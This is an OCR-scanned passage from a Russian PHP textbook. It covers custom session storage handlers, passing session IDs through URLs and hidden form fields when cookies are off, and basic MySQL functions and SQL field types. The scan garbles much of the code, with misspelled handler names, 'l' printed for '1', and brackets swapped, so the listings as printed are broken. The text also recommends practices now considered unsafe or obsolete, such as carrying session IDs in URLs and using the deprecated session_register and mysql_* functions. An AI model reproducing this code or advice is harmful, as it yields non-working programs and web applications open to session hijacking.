function ses_gc ($maxlifetime)

----------------------- Page 371-----------------------
356 Часть IV. Стандартные функции РНР

$dir=ses_fname (". ")•;

// Получаем доступ к каталогу текущей группы сессии

$d=@opendir($dir); if(!$d ) return false ;

$DelDir=l; // Признак того , что каталог пуст , и его можно удалить

// Читаем все элементы каталога
while(($e=readdir($d))!==false ) {

// Если ьто "точки" , пропускаем их

if($e=="."||$e=="..") continue ;

// Файл слишком старый?

if(time()-filemtime($fname="$dir/$e")>=$maxlifetime) {

@unlink($fname);

continue;

)

// Нашли не очень старый файл — значит , каталог точно

//не будет в результате работы пуст .

$DelDir=0;

}

closedir($d);

// Если все файлы оказались слишком старые и удалены ,

// удалить и каталог

if($DelDir) @rmdir($dir) ;

return true ;

// Регистрируем наши новые обработчики

session_set_save_handler (

"ses_open", "ses_close" ,

"aes_iead", "oes_wiiLe" ,

"ses_destroy", "ses_gc"

// Для примера подключаемся к группе сессий test

session_name("test");

session_start();

session__register ("count") ;

// Дальше как обычно.. .

$count=@$count+l;

----------------------- Page 372-----------------------
Глава 25. Управление сессиями 357

<body>

<Ь2>Счетчик</Ь2>

В текущей сессии работы с браузером Вы открыли эту страницу

<?=$count?> раз (а) . Закройте браузер , чтобы обнулить этот счетчик .

</body>

Сессии и Cookies

До сих пор я подразумевал, что использование сессий немыслимо без
Cookies. Действительно, Cookies представляют собой наиболее элегантное и
простое решение задачи идентификации каждого подключившегося пользо-
вателя, что необходимо для связи временного хранилища и данных сессии .
Но как быть, если пользователи отключили Cookies в своих браузерах?

^ Примечание

К сожалению, пользователи отключают Cookies гораздо чаще, чем это может
показаться на первый взгляд. Например, всего год назад Всероссийский Клуб
Вебмастеров проводил опрос, в результате которого выяснилось, что количе-
ство пользователей Интернета, отключивших у себя по каким-то соображениям
поддержку Cookies, достигает 20 — 30%. Что это за соображения? Многие ду-
мают, что Cookies потенциально являются "дырой" в безопасности их компью-
тера. Это совершенно не соответствует действительности, потому что браузе-
ры всегда имеют ограничения на количество и суммарный объем Cookies,
которые могут быть в них установлены. Другие же просто не хотят, чтобы неиз-
вестно кто писал что угодно на их жесткий диск. Правда, это не мешает таким
"перестраховщикам" открывать пришедший по почте исполняемый файл — та-
кой же, как из письма типа "Love letter"...

В общем, вы видите, что для абсолютной уверенности в работоспособности
ваших сценариев на любом браузере нужен механизм, позволяющий отка-
заться от использования Cookies при управлении сессиями. Такой механизм
действительно существует в РНР, и основная его идея состоит в том, чтобы
передавать идентификатор сессии не в Cookies, а каким-нибудь аналогич-
ным путем — например, в данных запроса GET . Последнее мы сейчас и рас-
смотрим.

Явное использование
константы SID

В РНР существует одна специальная константа с именем si D. Она всегда
содержит имя группы текущей сессии и ее идентификатор в формате
имя=идентификатор. Вспомните: именно в таком формате данные принима-
ются, когда они приходят из Cookies браузера. Таким образом, нам доста-

----------------------- Page 373-----------------------
358 Часть IV. Стандартные функции РНР

точно просто-напросто передать значение константы si D в сценарий , чтобы
он "подумал", будто бы данные пришли из Cookies. Вот пример :

! Листинг 25.3. Sesget.php: простой пример использования сессий без Cookies |

session_name ( "test" ) ;

session start!) ;

session_register ( "count " ) ;

a
$count=C $count + l;

<Ь2>Счетчик</Ь2>

В текущей сессии работы с браузером Вы открыли эту страницу

<?=$count?> раз (а; . Закройте браузер , чтобы обнулить этот счетчик . <hr>

<а href=sesget.php?<?=SID?»Click here!</a>

</body>

Если набрать в браузере адрес вроде такого:

http : //www . somehost . ru/sesget .php

то создастся новая сессия с уникальным идентификатором. Разумеется, если
сразу же нажать кнопку Обновить, счетчик не увеличится , потому что при
каждом запуске будет создаваться новое временное хранилище -- у РНР
просто нет информации об идентификаторе пользователя. Теперь обратите
внимание на предпоследнюю строчку листинга 25.3. Видите, как хитро мы
передаем в сценарий, запускаемый через гиперссылку, данные об иденти-
фикаторе текущей сессии? Теперь с его точки зрения они якобы пришли из
Cookies

Внимание

Все будет работать так, как описано, только в том случае, если в браузере дей-
ствительно отключены Cookies Если же они включены, РНР просто не будет
генерировать константу SID (она будет пустой) и задействует Cookies. Все
вполне логично.

Неявное изменение гиперссылок

Похоже, что вы уже начали думать о том, как же это все-таки неудобно -
везде вставлять участки кода <?=SID?> , и, пропусти вы их в одном месте,
придется долго искать ошибку? Что же, законный повод для беспокойства,
но, к счастью, разработчики РНР уберегли нас и от этой напасти .

----------------------- Page 374-----------------------
Глава 25. Управление сессиями 359

Вы не поверите, но, если в какой-нибудь гипессылке вы по ошибке пропус-
тите <?=SID?> , PHP вставит его за вас автоматически. Причем так, чтобы
это никак не повредило другим параметрам, возможно, уже присутствую-
щим в URL. Если вы в шоке, то запустите следующий сценарий в браузере,
а затем наведите мышь на гиперссылку и посмотрите в строке состояния,
какой адрес имеет ссылка:

<?session_start() ?>

<body>

<а href=/path/to/something.php>Click here!</axbr >

<a href=/path/to/something.html?a=aaa&b=bbb>Click here!</axbr >

<a href=/>Click here!</a><br>

</body>

Вот адреса этих ссылок с точки зрения браузера:

http://www.somehost.ru/path/to/something.php?PHPSESSID=8114S36a920bfb01f

http://www.somehost.ru/path/to/something.html?a=aaa&b=bbb&PHPSESSID=86a20

http://www.somehost.ru/?PHPSESSID=8114536a920bfb2a

(Я немного урезал идентификаторы сессий, чтобы они уместились на страни-
це этой книги.) Обратите внимание на второй адрес: он говорит, что иденти-
фикатор корректно вставился в конец обычных параметров страницы. Третий
пример заставляет задуматься о том, что идентификатор сессии прикрепляется
к URL независимо от типа документа, на который он указывает.

Внимание

Описанная только что возможность работает лишь в том случае, если в настрой-
ках РНР установлен в значение истина параметр session.use_trans_sid .
Он как раз и включен по умолчанию.

Зачем же тогда нужна константа SID? Да незачем. Это — устаревший прием
передачи идентификатора сессии, и я привел его здесь только для того, что-
бы нарисовать более полную картину, что в действительности происходит, а
также показать, насколько иногда РНР может быть услужлив.

Неявное изменение формы

Возможно, прочитав этот заголовок, вы еще более обрадуетесь. Да, РНР
умеет не только изменять гиперссылки , он также и добавляет скрытые поля
в формы , которые формирует сценарий , чтобы передать идентификатор сес-
сии вызываемому документу! Это ставит последнюю точку над i в вопросе
поддержки сессий для пользователей, которые отключили у себя Cookies.

----------------------- Page 375-----------------------
360 Часть IV. Стандартные функции РНР

Напоследок рассмотрим пример сценария, который выводит обыкновенную
пустую форму, и в ней, как по мановению волшебной палочки , появляется
дополнительное скрытое поле с идентификатором сессии.

<?session_start()?>

<form action=aaa method=post>

</form>

А вот почти дословно то, что выдается в браузере (Internet Explorer) после
запуска этого сценария и выбора в меню пункта Просмотр в виде HTML:

<form action="aaa " method="post">

<INPUT TYPE=HIDDEN NAME="PHPSESSID " VALUE="Oa717e848e91dbllb524a">

</form>

Как видим , РНР добавил в форму скрытое поле с нужным именем и значе-
нием. Он также заключил в кавычки значения атрибутов тэга <form > (прав-
да, я сам не ожидал увидеть такой эффект, когда опробовал этот сценарий).
Что же, кавычки так кавычки, хуже от этого не будет.

Так использовать Cookies
в сессиях или нет?

Ответ — да, использовать. Для этого мы должны быть уверены, что в на-
стройках РНР параметр session.use_cookie s установлен в значение true
(именно оно присваивается ему по умолчанию при установке РНР).

Что же делать, если пользователь отключил у себя Cookies? Да ничего. Так
как РНР автоматически добавляет идентификатор сессии ко всем ссылкам и
формам, которые он встретит, сценарии все равно будут продолжать рабо-
тать. Вот только их LJRL (да и всех других документов тоже) немного удли-
нятся, но, думаю , это не так уж и критично . Главное, что сессии будут рабо-
тать. Только не забудьте удостовериться, что в конфигурационном файле
РНР включена ОПЦИЯ session . use_trans_sid .

Итак, разработчики РНР добились, чтобы сценарию, рассчитанному на сес-
сии, было все равно, включены Cookies в браузере пользователя, или нет.
Давайте активно этим пользоваться.

----------------------- Page 376-----------------------
Глава 26

Работа с базой
данных MySQL

База данных — совокупность связанных данных, сохраняемая в двумерных
таблицах информационной системы. Программное обеспечение информа-
ционной системы, обеспечивающей создание, ведение и совместное исполь-
зование баз данных, называется системой управления базами данных
(СУБД). В этой главе мы рассмотрим функции РНР, предназначенные для
работы с одной из самых популярных СУБД — MySQL. В РНР есть функ-
ции для "общения" и с другими системами управления базами данных
(например, Sybase, Oracle и т. д.), но я остановился именно на MySQL в си-
лу ее простоты и универсальности для большинства приложений . Конечно,
прежде чем работать с MySQL, нужно установить соответствующее про-
граммное обеспечение — программу-сервер MySQL. Как это сделать в сис-
теме Windows, подробно описано во второй части настоящей книги.

Замечание

Данная глава ни в коей мере не претендует на исчерпывающее описание языка
SQL и системы управления базами данных MySQL. Здесь приведен только ос-
новной минимум материала. Имея его под рукой, можно начинать писать сце-
нарии, использующие MySQL. Если вам понадобится подробная документация,
вы сможете найти ее в любом дистрибутиве MySQL.

Итак, с точки зрения программы база данных MySQL представляет собой
удачно организованный набор поименованных таблиц. Каждая таблица -
массив (возможно, очень большой) из однородных элементов, которые я
буду называть записями. В принципе, запись — неделимая единица инфор-
мации в базе данных, хотя по запросу можно получать и не всю ее целиком,
а только какую-то часть.

Запись может содержать в себе одно или несколько именованных полей. Чис-
ло и имена полей задаются при создании таблицы. Каждое поле имеет опре-
деленный тип (например, целое число, строка текста, массив символов и т. д).

Е^ Примечание

Если вы в замешательстве и так и не поняли до конца, что же такое таблица,
просто представьте себе Excel, таблицу на раскрученном рулоне туалетной бу-

----------------------- Page 377-----------------------
362 Часть IV. Стандартные функции РНР

маги, прямоугольную матрицу , сильно вытянутую по вертикали, или, наконец,
двумерный массив. Строки таблицы/матрицы/массива и будут записями, а
столбцы в пределах каждой строки — полями.

В таблицу всегда можно добавить новую запись . Другая операция , которую
часто производят с записью (точнее, с таблицей) — это поиск . Например ,
запрос поиска может быть таким : "Выдать все записи , в первом поле кото-
рых содержится число , меньшее 10, во втором — строка, включающая слово
word , а в третьем — не должен быть ноль". Из найденных записей в про-
грамму можно извлекать какие-то части данных (или не извлекать), также
записи таблицы можно удалить.

Следует еще раз заметить, что обычно все упомянутые операции осуществ-
ляются очень быстро. Например , Microsoft SQL Sewer может за 0,0 1 секун-
ды из 10 миллионов записей выделить ту, у которой значение определен-
ного поля совпадает с нужным числом или строкой. Высокое
быстродействие в большей мере обусловлено тем, что данные не просто
"свалены в кучу", а определенным образом упорядочены и все время под-
держиваются в таком состоянии.

Неудобство работы с файлами

Прежде чем мы займемся базами данных MySQL и их поддержкой в РНР,
давайте определимся , для чего вообще в Web-программировании могут по-
надобиться базы данных? Ответ на этот вопрос не вполне очевиден , особен-
но для людей, сталкивающихся со "стандартными" базами данных впервые .

В самом деле, казалось бы, любой сценарий можно реализовать, основыва-
ясь только на работе с файлами . Например, иерархический форум можно
хранить в файлах и каталогах: раздел форума — это директория, а конкрет-
ный вопрос в нем — файл. Однако ненужная избыточность таких сценари-
ев, мягко говоря, удивляет . Нужно постоянно держать под контролем мно-
жество вспомогательных параметров и файлов . Кроме того, крайне услож-
няется поиск по форуму или создание архива. По правде сказать, работа с
файлами — дело нудное и весьма и весьма утомляет.

В противоположность файловой организации хранения информации , ис -
пользование баз данных дает весомые преимущества. Например, легко сор-
тировать записи по дате/времени , организовывать поиск , различные отборы
записей. Правда, многие базы данных не поддерживают иерархические ,
вложенные таблицы. Но и это не беда: просто достаточно у каждой записи в
специальном поле хранить идентификатор ее "родителя", мы вскоре погово-
ри м об этом чуть подробнее .

Базы данных также лишены еще одного крупного недостатка файлов: с ни-
ми нет проблем с совместным доступом к данным . Ведь вполне может ока-

----------------------- Page 378-----------------------
Глава 26. Работа с базой данных MySQL 363

заться, что ваш сценарий запустят два одновременно заглянувших на стра-
ничку человека. Конечно, если сценарий обновляет какой-то файл в про-
цессе своей работы, могут возникнуть проблемы , если не принять надлежа-
щих мер по блокировке файла. Кроме того, нужно минимизировать время
обновления файла, а это не всегда возможно. С базами данных таких про-
блем не существует, потому что разработчики предусмотрели их (проблем)
решение на самом низком уровне и с максимальной эффективностью.

В довершение , чаще всего работа с базами данных происходит быстрее, чем
с файлами. В первых обычно предусмотрена эффективная организация хра-
нения информации , минимизирующая время доступа и поиска . Например ,
вполне реально за приемлемое время найти среди десятков тысяч записей
какую-то определенную (скажем, по заданному идентификатору) . Или про-
вести поиск по нескольким мегабайтам текста какого-то ключевого слова и
обнаружить все записи , которые его содержат.

Устройство MySQL

Одна из самых популярных СУБД, которые используются в Web-
программировании, — MySQL. Она предназначена для создания небольших
(сравнительно, конечно — скажем, не более 100 Мбайт) баз данных , и под-
держивает некоторое подмножество языка запросов SQL.

SQL — специально разработанный стандарт языка запросов к базам данных .
В нем присутствуют такие команды, как:

П создание/удаление таблицы ;

П создание записей в заданной таблице ;

П поиск/удаление записей ;

П обновление некоторых полей указанной записи .

Немного подробнее с языком SQL мы будем разбираться чуть позже.
А пока давайте посмотрим, что из себя представляет MySQL.

MySQL — это программа-сервер, постоянно работающая на компьютере .
Клиентские программы (например , сценарии) посылают ей специальные
запросы через механизм сокетов (то есть при помощи сетевых средств), она
их обрабатывает и запоминает результат. Затем, также по специальному за-
просу клиента, весь этот результат или его часть передается обратно.

Почему всегда передается не весь результат? Очень просто: дело в том, что
размер результирующего набора данных может быть слишком большим, и
на его передачу по сети уйдет чересчур много времени . Да и редко когда
бывает нужно получать сразу весь вывод запроса (то есть все записи , удов-
летворяющие выражению запроса). Например , нам может потребоваться

----------------------- Page 379-----------------------
364 Часть IV. Стандартные функции РНР

лишь подсчитать, сколько записей удовлетворяет тому или иному условию,
или же выбрать из данных только первые 10 записей.

Механизм использования сокетов подразумевает технологию клиент-сервер, а
это означает, что в системе должна быть запущена специальная профамма -
MySQL-сервер, которая принимает и обрабатывает запросы от программ. Так
как вся работа происходит в действительности на одной машине, накладные
расходы по работе с сетевыми средствами незначительны (установка и под-
держание соединения с MySQL-сервером обходится довольно дешево).

Как я уже говорил, структура MySQL трехуровневая : базы данных — табли-
цы — записи . Один сервер MySQL может поддерживать сразу несколько баз
данных , доступ к которым может разфаничиваться логином и паролем. Зная
эти логин и пароль , можно работать с конкретной базой данных. Например,
можно создать или удалить в ней таблицу, добавить записи и т. д. Обычно
имя-идентификатор и пароль назначаются хостинг-провайдерами, которые
и обеспечивают поддержку MySQL для своих пользователей.

Соединение с базой данных

Но прежде чем работать с базой данных, необходимо установить с ней сете-
вое соединение, а также провести авторизацию пользователя. Для этого
СЛУЖИТ фуНКЦИЯ mysql_connect ( ) .

int mysql_connect([string $hostname] [,string $username]

[,string $password])

Функция mysqi_connect о устанавливает сетевое соединение с базой дан-
ных MySQL, расположенной на хосте $hostname (по умолчанию это
locaihost , т. е. текущий компьютер) , и возвращает идентификатор откры-
того соединения . Вся дальнейшая работа ведется именно с этим идентифи-
катором. При регистрации указывается имя пользователя $usemame и па-
роль Spasswor d (по умолчанию имя пользователя, от которого запущен
текущий процесс, и пустой пароль). Строка $hostname также может вклю-
чать в себя номер порта в формате: имя_хоста:порт (если сервер MySQL
настроен не на стандартный, а на какой-то другой порт, что делать, вообще
говоря, не рекомендуется).

При следующем запуске функции с теми же самыми аргументами второе
соединение не будет открыто, а функция возвратит идентификатор уже су-
ществующего . Соединени е с MySQL-сервером будет автоматически закрыто
по завершении работы сценария , либо же при вызове функции
mysqi_dose ( ) . Если вы планируете открывать только одно соединение с
базой данных за все время работы сценария, то можете не сохранять воз-

----------------------- Page 380-----------------------
Глава 26. Работа с базой данных MySQL 365

вращенное значение , а также не указывать идентификатор соединения при
вызове всех остальных функций .

int mysql_select_db(string $dbname l,int $link_identifier])

До того как послать первый запрос серверу MySQL, необходимо указать, с
какой базой данных мы собираемся работать. Для этого и предназначена опи-
сываемая функция. Она уведомляет РНР, что в дальнейших операциях с со-
единением $link_identifier (или с последним открытым соединением, если
указанный параметр не задан) будет использоваться база данных $dbname.

Обработка ошибок

Если в процессе работы с MySQL возникают ошибки (например, в запросе
не сбалансированы скобки или же не хватает параметров), то сообщение об
ошибке и ее номер можно получить с помощью следующих двух функций .

int mysql_errno([int $link_identifier] )

Функция возвращает номер последней зарегистрированной ошибки . Иден-
тификатор соединения $iink identifier можно не указывать, если за вре-
мя работы сценария было установлено только одно соединение .

string mysql_error([int $link_identifier] )

Эта функция возвращает не номер, а строку, содержащую текст сообщения
об ошибке. Ее удобно применять в отладочных целях.

Выполнение запросов
к базе данных

Теперь мы подходим непосредственно к тому, как формировать и посылать
запросы к базе данных . Для этого существует одна-единственная функция -
mysqi_query о — и возвращает она не что иное, как идентификатор резуль-
тирующего набора данных.
Помните, мы говорили, что результат сразу не пересылается клиенту? Так
вот, чтобы до него добраться, и служит этот идентификатор. Существует
очень много функций, которые принимают его в качестве параметра и воз-
вращают те или иные данные . Их мы рассмотрим чуть позже.

int mysql_query(string $query [,int $link_identifier])

Эта функция в своем роде универсальна : она посылает MySQL-серверу за-
прос $query и возвращает идентификатор ответа, или результата. Параметр
$ q u e ry представляет собой строку, составленную по правилам языка SQL.
Используется установленное ранее соединение $iink_identifier , а в случае
его отсутствия — последнее открытое соединение.

----------------------- Page 381-----------------------
366 Часть IV. Стандартные функции РНР

Есть несколько команд SQL, которые возвращают только признак , успешно
они выполнились или нет (например , это команды UPDATE , INSERT и т. д.).
В таком случае этот признак и будет возвращен функцией . Наоборот, для
запроса SELECT возвращается как раз идентификатор вывода, нулевое значе-
ние которого свидетельствует о том, что произошла ошибка.

На самом деле существует еще одна функция для выполнения запроса , но
использовать ее менее удобно, поскольку всякий раз приходится указывать
имя базы данных , к которой осуществляется доступ.

int mysql(string $dbname , string $query [,int $link_identifier] )

Служит для тех же целей, что и функция mysql_query о , только обращение
осуществляется не к текущей выбранной базе данных , а к указанной в па-
раметре $dbname. Если вы владеете сразу несколькими базами данных и об-
ращаетесь к ним одновременно, то, возможно, применение этой функции
окажется для вас оправданным. Как обычно, параметр $iink_identifie r
можно опустить, тогда используется последнее открытое соединение .

Язык запросов MySQL

Разумеется, весь язык запросов SQL в рамках одной главы описать просто
невозможно. О нем сочиняют (и будут сочинять) "объемистые" книги . Од-
нако самые основные команды я в этой главе приведу . Более подробно о
них (и о некоторых других инструкциях) будет рассказано в части V книги ,
где описаны и другие распространенные приемы программирования .

Все без исключения запросы к базе данных посылаются при помощи одной-
единственной функции — mysqi_query ( ) (или mysql ( ) , см. рассуждения вы-
ше). Они должны передаваться ей в виде строкового параметра. Этот пара-
метр, впрочем , может быть и многострочным — т. е., содержать символы
перевода строки. MySQL допускает включение любого количества пробелов,
символов табуляции или перевода строки везде, где разрешено использова-
ние одного пробела (в этом смысле он похож на РНР и большинство других
языков программирования).

Язык SQL позволяет нам создавать довольно сложные запросы. Ниже пере-
числены наиболее употребительные команды MySQL.

Создание таблицы

create table ИмяТаблицы(ИмяПоля тип , ИмяПоля тип , ...)

Этой командой в базе данных создается новая таблица с колонками (по-
лями) , определяемыми своими именами (имяПоля) и указанными типами.

----------------------- Page 382-----------------------
Глава 26. Работа с базой данных MySQL 367

Типы полей

Сейчас я перечислю практически все типы полей, которые могут приме-
няться в MySQL. Их довольно много. Квадратными скобками, по традиции ,
я буду помечать необязательные элементы .

Целые числа

Существует несколько разных типов целых чисел , различающихся количест-
вом байтов данных , которые отводятся в базе данных для их хранения . Все
эти типы рознятся только названиями и (с некоторыми сокращениями) за-
писываются так:
префиксШТ [UNSIGNED ]

Необязательный флаг UNSIGNE D задает, что будет создано поле для хранения
беззнаковых чисел (больших или равных 0). Имена типов , в вобщем виде
обозначенные здесь как префикс™? , приводятся в табл. 26.1 .

Таблица 26.1. Типы целочисленных данных MySQL.

Тип Описание

TINYINT Может хранить числа от -128 до +127

SMALLINT Диапазон от -32 768 до 32 767

MEDIUMINT Диапазон от -8 388 608 до 8 388 607

INT Диапазон от -2 147 483 648 до 2 147 483 647

BIGINT Диапазон от -9 223 372 036 854 775 808 до
9 223 372 036 854 775 807

Дробные числа

Точно так же, как целые числа подразделяются в MySQL на несколько раз-
новидностей, MySQL поддерживает и несколько типов дробных чисел.
В общем виде они записываются так :

ИмяТипа[(length,decimals)] [UNSIGNED ]

Здесь length — количество знакомест (ширина поля) , в которых будет раз-
мещено дробное число при его передаче в PHP , a decimals — количество
знаков после десятичной точки , которые будут учитываться . Как обычно,
UNSIGNED задает беззнаковые числа . Строка имятипа замещается на предо-
пределенные значения , соответствующие возможным вариантам представле-
ния вещественных чисел (табл. 26.2).

----------------------- Page 383-----------------------
368 Часть IV. Стандартные функции РНР

Таблица 26.2. Типы рациональных чисел в MySQL

Тип Описание

FLOAT Число с плавающей точкой небольшой точности

DOUBLE Число с плавающей точкой двойной точности

REAL СИНОНИМ ДЛЯ DOUBLE

DECIMAL Дробное число, хранящееся в виде строки

NUMERIC СИНОНИМ ДЛЯ DECIMAL

Строки

Строки представляют собой массивы символов. Обычно при поиске по тек-
стовым полям по запросу SELECT не берется в рассмотрение регистр симво-
лов, т. е. строки "вася" и "ВАСЯ" считаются одинаковыми. Кроме того, если
база данных настроена на автоматическую перекодировку текста при его
помещении и извлечении (см. ниже), эти поля будут храниться в указанной
вами кодировке.

Для начала давайте ознакомимся с типом строки, которая может хранить не
более length символов, где length принадлежит диапазону от 1 до 255.

VARCHAR(length ) [BINARY]

При занесении некоторого значения в поле такого типа из него автоматиче-
ски вырезаются концевые пробелы (как будто по вызову функции rtrimo) .
Если указан флаг BINARY , то при запросе SELECT строка будет сравниваться с
учетом регистра. Тип VARCHAR неудобен тем, что может хранить не более 255
символов. Вместо него я рекомендую использовать другие текстовые типы ,
перечисленные в табл. 26.3.

Таблица 26.3. Строковые типы данных таблиц MySQL

Тип Описание

TINYTEXT Может хранить максимум 255 символов

TEXT Может хранить не более 65 535 символов

MEDIUMTEXT Может хранить максимум 16 777 215 символов

LONGTEXT Может хранить 4 294 967 295 символов

Чаще всего применяется тип TEXT , но если вы не уверены, что данные будут
всегда короче 65 536 байтов, используйте LONGTEXT .

----------------------- Page 384-----------------------
Глава 26. Работа с базой данных MySQL 369

(^ Замечание ^

Слухи о том, что TEXT-ТИПЫ занимают намного больше места на диске, чем
аналогичные VARCHAR-ПОЛЯ, сильно преувеличены.

Бинарные данные

Бинарные данные — это почти то же самое, что и данные в формате TEXT , но
только при поиске в них учитывается регистр символов ("abc" и "ABC" — раз-
ные строки). Вего имеется 4 типа бинарных данных (табл. 26.4).

Таблица 26.4. Типы бинарных данных, используемые в MySQL

Тип Описание

TINYBLOB Может хранить максимум 255 символов

BLOB Может хранить не более 65 535 символов

MEDIUMBLOB Может хранить максимум 16 777 215 символов

LONGBLOB Может хранить 4 294 967 295 символов

вьов-данные не перекодируются автоматически, если при работе с уста-
новленным соединением включена возможность перекодирования текста
"на лету".

Дата и время

MySQL поддерживает несколько типов полей, специально приспособленных
для хранения дат и времени в различных форматах (табл. 26.5).

Таблица 26.5. Представление дат и времени в базах данных MySQL

Тип Описание

DATE Дата в формате гггг-мм-дд

TIME Время в формате чч:мм:СС

DATETIME Дата и время в формате гггг-мм-дд чч : мм : сс

TIMESTAMP Время и дата в формате timestamp. Однако при получе-
нии значения поля оно отображается не в формате
timestamp, а в виде ггггммддччммсс, что сильно умаля-
ет преимущества его использования в РНР

Надо заметить, что в РНР будет проще самостоятельно генерировать дату и
время при вставке данных в таблицу, а не задействовать встроенные в
MySQL типы. Например, привлекательный с виду тип TIMESTAMP на деле

----------------------- Page 385-----------------------
370 _ Часть IV. Стандартные функции РНР

оказывается довольно неудобным, потому что отображается не в том виде,
который мы ожидаем.

Перечисления и множества

MySQL поддерживает еще несколько специфических типов данных, исполь-
зовать которые в РНР вряд ли целесообразно. Например , тип перечисления
задает, что значение соответствующего поля может быть не любой строкой
или числом , а только одним из нескольких указанных при создании таблицы
значений: vaiuel , vaiue2 и т. д. Вот как выглядит имя типа перечисления:

ENUM(valuel,value2, values, . . . )

В отличие от всех остальных типов, множества означают, что в соответст-
вующем поле может содержаться не одно, а сразу несколько значений
(vaiuel, vaiue2 и т. д., т. е. — множество значений) . Формат задания дан-
ных такого типа имеет следующий вид:

SET ( vaiuel , value2 , valueS , . . . )

Замечание ^

Значений в множестве может быть не сколько угодно, а не более 64 штук. Ино-
гда это сильно мешает при программировании.

Модификаторы и флаги типов

К типу можно также присоединять модификаторы, которые задают его
"поведение" и те операции , которые можно (или, наоборот, запрещено) вы-
полнять с соответствующими столбцами . Самые распространенные из них
сведены в табл. 26.6.

Таблица 26.6. Основные модификаторы MySQL

Модификатор Описание

not null Означает, что поле не может содержать неопределенное зна-
чение — в частности, поле обязательно должно быть инициали-
зировано при вставке новой записи в таблицу (если не задано
значение по умолчанию)

primary key Отражает, что поле является первичным ключом, т. е. иденти-
фикатором записи, на которой можно ссылаться

auto_increment При вставке новой записи поле получит уникальное значение,
так что в таблице никогда не будут существовать два поля с
одинаковыми номерами. (Мы поговорим об этом чуть позже.)

Default Задает значение по умолчанию для поля, которое будет ис-
пользовано, если при вставке записи поле не было проинициа-
лизировано явно

----------------------- Page 386-----------------------
Глава 26. Работа с базой данных MySQL 377

Удаление таблицы

drop table ИмяТаблицы

Удаляет таблицу ИмяТаблицы. Таблица не обязательно должна быть пустой,
так что будьте внимательны, чтобы случайно не "аннулировать" нужную
таблицу с данными.

Вставка записи

insert into ИмяТаблицы(ИмяПоля ! ИмяПоля2 ...) values('зн!','зн2',...)

Добавляет в таблицу ИмяТаблицы запись, у которой поля, обозначенные как
ИмяПолям, установлены в значения, соответственно, зны. Те поля, которые в
этой команде не перечислены, получают "неопределенные" значения (неопре-
деленное значение — это не пустая строка, а просто признак, который гово-
рит MySQL, что у данного поля нет никакого значения). Впрочем, если для не
указанного здесь поля при создании таблицы был задан not null , то поле по-
лучит значение по умолчанию (чаще всего 0). Значения полей можно заклю-
чать и в обычные кавычки, но, по-моему, апострофы тут использовать удоб-
нее. При вставке в таблицу бинарных данных (или текстовых, содержащих
апострофы и слэши) некоторые символы должны быть "защищены" обратны-
ми слэшами, а именно, символы \, ' и символ с нулевым кодом.

Удаление записей

delete from ИмяТаблицы where Выражение

Удаляет из таблицы ИмяТаблицы все записи, для которых выполнено выражение.
Параметр выражение - • это просто логическое выражение, составленное
почти что по правилам РНР. Вот показательный пример:

(id<10) and (name regexp 'a*b') and (age=25)

В выражении, помимо имен полей, констант и операторов, могут также
встречаться простейшие "вычисляемые" части, например: (id<io+n*234) .

Вообще говоря, формат выражения един для всех команд запросов, которые
мы встретим в дальнейшем. Например, он же используется и в операции
select, И В операции update .

Поиск записей

select * from Таблица where Выражение [order by ИмяПоля [desc]]

Эта команда — основная и очень мощная. Предназначена она для того, чтобы
искать все записи , удовлетворяющие выражению выражение. Ее возможности
гораздо более богаты, чем то сжатое изложение, которое я вам предлагаю, и о

13 Зак.69 9

----------------------- Page 387-----------------------
372 Часть IV. Стандартные функции РНР

них можно прочитать в книгах, посвященных SQL. Если записей несколько,
то при указанном предложении order by они будут отсортированы по тому
полю, имя которого записывается правее этого ключевого слова (если задан
описатель desc, то упорядочивание происходит в обратном порядке). В пред-
ложении order by могут также задаваться несколько полей.

Особое значение имеет символ *. Он предписывает, что из отобранных за-
писей следует извлечь все поля, когда будет выполнена команда получения
выборки. С другой стороны, вместо звездочки можно через запятую непо-
средственно перечислить имена полей, которые требуют извлечения. Но
чаще всего все же используется именно *.

Обновление записей

update Таблица set(ИмяПоля1='зн!' , ИмяПоля1='зн2' , ...) where Выражение

В таблице таблица для всех записей, удовлетворяющих выражению Выражение,
указанные поля устанавливаются в соответствующие значения. Эта команда
часто отдается, если не требуется обновлять сразу все поля какой-то записи,
а нужно затронуть только некоторые.

Получение числа записей,
удовлетворяющих выражению

Стоит рассмотреть еще одну часто востребуемую возможность MySQL —
получение числа записей, удовлетворяющих некоторому выражению. Вооб-
ще говоря, существует несколько способов сделать это. Вот один из них :

select count(if(Выражение,1,NULL) ) from Таблица

Уже этот пример показывает, насколько богаче язык MySQL по сравнению
с тем , что было описано...

Получение уникальных
значений столбцов

При использовании базы данных часто бывает крайне удобно узнать, какие
уникальные значения существуют в данном столбце таблицы. Например, если
у каждой записи в некоей статистической таблице, содержащей сведения о
людях , у нас есть поле Country (страна), в котором указана страна прожива-
ния конкретного человека, и мы хотим выяснить, в каких же странах про-
живают все люди, дожившие до 30 лет, занесенные в таблицу, можно вы-
полнить запрос:

select distinct ИмяПоля from Таблица where Выражение

----------------------- Page 388-----------------------
Глава 26. Работа с базой данных MySQL 373

В нашем случае ИмяПоля=Соип1:гу, а Выражение — ЧТО-ТО вроде аде>=30 .
Этот запрос сгенерирует результат, состоящий из одного столбца, в котором
и будут перечислены искомые страны.

Получение результата

После того как запрос выполнен и идентификатор результирующего набора
данных возвращен, вы, возможно, захотите получить этот самый результат.
Поговорим о том, что же он из себя представляет.

Результат — это просто набор данных, и количество вошедших в него записей
можно узнать через mysqi num_rows ( ) . Например, если в предыдущем приме-
ре при выборке из таблицы оказалось, что в таблице имеются записи о 10 лю-
дях старше 30 лет, то мы в идентификаторе результата получим "ссылку" на 10
"строчек". Теперь мы можем считать в программу на РНР любую из них с по-
мощью специальных функций, которые будут описаны ниже.

Каждая запись — это список значений полей, а именно, тех полей и в том же
порядке, которые были указаны в запросе select . . . from таблица на мес-
те многоточия (если там была звездочка, то все поля). Таким образом, ре-
зультат — это такой своеобразный двумерный массив: первый индекс — но-
мер записи и второй -- имя поля. Можете называть его прямоугольной
таблицей или матрицей данных — как угодно.

^ Примечание

Мне не нравится общепринятый в технической литературе термин "резуль-
тирующий набор данных" — слишком уж он длинный и бесформенный. Вместо
него я и дальше буду использовать слово "результат".

Параметры результата

int mysql_num_rows(int $result)

Функция mysqi_num_rows ( ) возвращает число записей в результате запроса.
Таким образом, функция позволяет определить вертикальную размерность
"двумерного массива результата".

int mysql_num_fields(int $result)

Эта функция возвращает число полей в одной строке результата, т. е., число
колонок в результате $resuit . В силу сказанного, функция позволяет опре-
делить горизонтальную размерность "двумерного массива результата".

----------------------- Page 389-----------------------
